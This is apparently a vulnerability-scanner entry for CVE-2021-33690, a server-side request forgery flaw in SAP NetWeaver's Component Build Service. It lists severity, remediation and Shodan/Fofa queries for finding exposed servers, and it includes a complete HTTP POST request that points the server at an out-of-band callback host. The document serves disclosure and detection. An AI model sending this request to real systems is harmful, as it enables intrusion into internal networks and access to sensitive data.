| Title | SAP NetWeaver Development Infrastructure - Server Side Request Forgery |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Authenticated attackers can perform SSRF attacks to manipulate internal network resources, potentially accessing sensitive internal systems and data. |
| Remediation | Apply the latest firmware update provided by the vendor to mitigate this vulnerability. |
| CVSS Score | 9.9 |
| EPSS Score | 0.93259 |
| CVE ID | CVE-2021-33690 |
| CWE ID | CWE-918 |
| Shodan Query | html:"SAP NetWeaver"http.html:"sap netweaver" |
| Fofa Query | body="sap netweaver" |
| Tags | cve2021 cve oast ssrf sap vkev vuln |
Server-Side Request Forgery (SSRF) vulnerability has been detected in the SAP NetWeaver Development Infrastructure Component Build Service versions - 7.11, 7.20, 7.30, 7.31, 7.40, 7.50The SAP NetWeaver Development Infrastructure Component Build Service allows a threat actor who has access to the server to perform proxy attacks on server by sending crafted queries. Due to this, the threat actor could completely compromise sensitive data residing on the Server and impact its availability.Note: The impact of this vulnerability depends on whether SAP NetWeaver Development Infrastructure (NWDI) runs on the intranet or internet. The CVSS score reflects the impact considering the worst-case scenario that it runs on the internet.
POST /tc.CBS.Appl/tcspseudo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Connection: close
Content-Length: 107
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
CBS=http://d5jnsd9le0o37a2r454ghwe89n3p5knf9.oast.live&USER=1&PWD=1&REQ_CONFIRM_DELAY=2000&ACTION=CONFIGURE
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33690.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-33690.pcap
N/AN/A